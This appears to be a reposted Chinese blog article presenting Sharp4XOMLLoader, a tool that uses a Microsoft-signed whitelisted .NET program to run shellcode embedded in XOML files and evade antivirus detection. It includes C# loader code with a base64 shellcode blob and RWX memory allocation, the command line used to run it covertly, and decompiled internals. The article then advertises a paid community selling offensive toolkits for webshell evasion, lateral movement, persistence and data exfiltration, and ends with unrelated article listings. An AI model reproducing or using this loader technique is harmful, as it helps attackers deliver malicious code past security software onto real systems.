.NET 一款免杀的白名单Shellcode加载器

2024-08-30 10:12

本文主要是介绍.NET 一款免杀的白名单Shellcode加载器,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4XOMLLoader 是一款执行 XOML(eXtensible Object Markup Language)中的 Shellcode 的工具。因为程序自带微软签名,因此通过该工具能够绕过反病毒软件的监控,执行恶意代码。这种技术利用了 XOML 的合法性和白名单程序在系统中的可信度,使得恶意代码的执行更难被检测和阻止。

图片

03使用方法

具体来说,Shellcode.xoml是一段启动cmd.exe进程的Shellcode,代码如下所示。

public Sharp4XOMLLoader() {
byte[] shellcode = System.Convert.FromBase64String("/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTH");
System.IntPtr addr = VirtualAlloc(System.IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
System.Runtime.InteropServices.Marshal.Copy(shellcode, 0, addr, shellcode.Length);
}

实战时,只需替换掉base64编码的Shellcode即可,Sharp4XOMLLoader 工具允许通过命令行传递参数来加载并执行 XOML 文件,命令如下所示。

Sharp4XOMLLoader.exe /debug:- Shellcode.xoml 

其中的 /debug:- 参数用于指定不生成其他附属调试文件,确保执行过程的隐蔽性,shellcode.xoml: 是包含了要执行的 shellcode 的 XOML 文件,执行完成后返回了运行成功后的cmd.exe,如下图所示:"Microsoft Windows [版本 10.0.19045.4780](c) Microsoft Corporation。保留所有权利。"

图片

将shellcode替换成启动winver进程的.NET代码,再次执行后成功启动新进程,如下图所示。

图片

04原理解析

Sharp4XOMLLoader 的核心代码的作用是确定目标是生成 DLL 还是 EXE 文件,并根据目标的不同生成相应的输出文件。通过 workflowCompiler.Compile 方法,代码会编译并生成包含恶意 Shellcode 的二进制文件,如下所示。

if (TargetSwitch.Switch.IsTargetAssembly || TargetSwitch.Switch.IsTargetExe)
{string text = OutSwitch.Switch.OutputFileName;if (text == null || text.Length == 0){text = CompilerHelpers.RemoveFileExentsion(stringCollection[0]) + ".exe"; }workflowCompilerParameters.GenerateExecutable = TargetSwitch.Switch.IsTargetExe;workflowCompilerParameters.OutputAssembly = text;string[] array = new string[stringCollection.Count];if (stringCollection.Count > 0){stringCollection.CopyTo(array, 0);}compilerResults = workflowCompiler.Compile(workflowCompilerParameters, array);
}

另外,通过创建新的 AppDomain 来隔离编译过程,确保生成的程序集不会污染当前的应用程序域,具体代码如下所示。

public WorkflowCompilerResults Compile(WorkflowCompilerParameters parameters, params string[] files)
{if (parameters == null){throw new ArgumentNullException("parameters");}if (files == null){throw new ArgumentNullException("files");}string text = null;string text2 = null;AppDomainSetup setupInformation = AppDomain.CurrentDomain.SetupInformation;setupInformation.LoaderOptimization = LoaderOptimization.MultiDomainHost;AppDomain appDomain = AppDomain.CreateDomain("CompilerDomain", null, setupInformation);bool flag = false;string outputAssembly = parameters.OutputAssembly;WorkflowCompilerResults result;try{if (parameters.GenerateInMemory){flag = true;parameters.GenerateInMemory = false;if (string.IsNullOrEmpty(parameters.OutputAssembly)){text2 = Path.GetTempFileName();parameters.OutputAssembly = text2 + ".dll";}}}WorkflowCompilerInternal workflowCompilerInternal = (WorkflowCompilerInternal)appDomain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(WorkflowCompilerInternal).FullName);WorkflowCompilerResults workflowCompilerResults = workflowCompilerInternal.Compile(parameters, files);
}

这种技术在生成和加载恶意文件时非常有用,因为它能够有效地避免常规安全软件的检测。综上,Sharp4XOMLLoader 是一个执行 XOML 中的 Shellcode 的工具。通过自带微软签名来绕过传统的反病毒软件检测,使其成为一个强大的加载器。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

星球主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器

图片

这篇关于.NET 一款免杀的白名单Shellcode加载器的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1120525

相关文章

MyBatis延迟加载与多级缓存全解析

《MyBatis延迟加载与多级缓存全解析》文章介绍MyBatis的延迟加载与多级缓存机制,延迟加载按需加载关联数据提升性能,一级缓存会话级默认开启,二级缓存工厂级支持跨会话共享,增删改操作会清空对应缓... 目录MyBATis延迟加载策略一对多示例一对多示例MyBatis框架的缓存一级缓存二级缓存MyBat

C#利用Free Spire.XLS for .NET复制Excel工作表

《C#利用FreeSpire.XLSfor.NET复制Excel工作表》在日常的.NET开发中,我们经常需要操作Excel文件,本文将详细介绍C#如何使用FreeSpire.XLSfor.NET... 目录1. 环境准备2. 核心功能3. android示例代码3.1 在同一工作簿内复制工作表3.2 在不同

使用python制作一款文件粉碎工具

《使用python制作一款文件粉碎工具》这篇文章主要为大家详细介绍了如何使用python制作一款文件粉碎工具,能够有效粉碎密码文件和机密Excel表格等,感兴趣的小伙伴可以了解一下... 文件粉碎工具:适用于粉碎密码文件和机密的escel表格等等,主要作用就是防止 别人用数据恢复大师把你刚删除的机密的文件恢

在.NET项目中嵌入Python代码的实践指南

《在.NET项目中嵌入Python代码的实践指南》在现代开发中,.NET与Python的协作需求日益增长,从机器学习模型集成到科学计算,从脚本自动化到数据分析,然而,传统的解决方案(如HTTPAPI或... 目录一、CSnakes vs python.NET:为何选择 CSnakes?二、环境准备:从 Py

C#使用Spire.Doc for .NET实现HTML转Word的高效方案

《C#使用Spire.Docfor.NET实现HTML转Word的高效方案》在Web开发中,HTML内容的生成与处理是高频需求,然而,当用户需要将HTML页面或动态生成的HTML字符串转换为Wor... 目录引言一、html转Word的典型场景与挑战二、用 Spire.Doc 实现 HTML 转 Word1

Go语言使用net/http构建一个RESTful API的示例代码

《Go语言使用net/http构建一个RESTfulAPI的示例代码》Go的标准库net/http提供了构建Web服务所需的强大功能,虽然众多第三方框架(如Gin、Echo)已经封装了很多功能,但... 目录引言一、什么是 RESTful API?二、实战目标:用户信息管理 API三、代码实现1. 用户数据

在ASP.NET项目中如何使用C#生成二维码

《在ASP.NET项目中如何使用C#生成二维码》二维码(QRCode)已广泛应用于网址分享,支付链接等场景,本文将以ASP.NET为示例,演示如何实现输入文本/URL,生成二维码,在线显示与下载的完整... 目录创建前端页面(Index.cshtml)后端二维码生成逻辑(Index.cshtml.cs)总结

SpringBoot加载profile全面解析

《SpringBoot加载profile全面解析》SpringBoot的Profile机制通过多配置文件和注解实现环境隔离,支持开发、测试、生产等不同环境的灵活配置切换,无需修改代码,关键点包括配置文... 目录题目详细答案什么是 Profile配置 Profile使用application-{profil

解决hive启动时java.net.ConnectException:拒绝连接的问题

《解决hive启动时java.net.ConnectException:拒绝连接的问题》Hadoop集群连接被拒,需检查集群是否启动、关闭防火墙/SELinux、确认安全模式退出,若问题仍存,查看日志... 目录错误发生原因解决方式1.关闭防火墙2.关闭selinux3.启动集群4.检查集群是否正常启动5.

Android Paging 分页加载库使用实践

《AndroidPaging分页加载库使用实践》AndroidPaging库是Jetpack组件的一部分,它提供了一套完整的解决方案来处理大型数据集的分页加载,本文将深入探讨Paging库... 目录前言一、Paging 库概述二、Paging 3 核心组件1. PagingSource2. Pager3.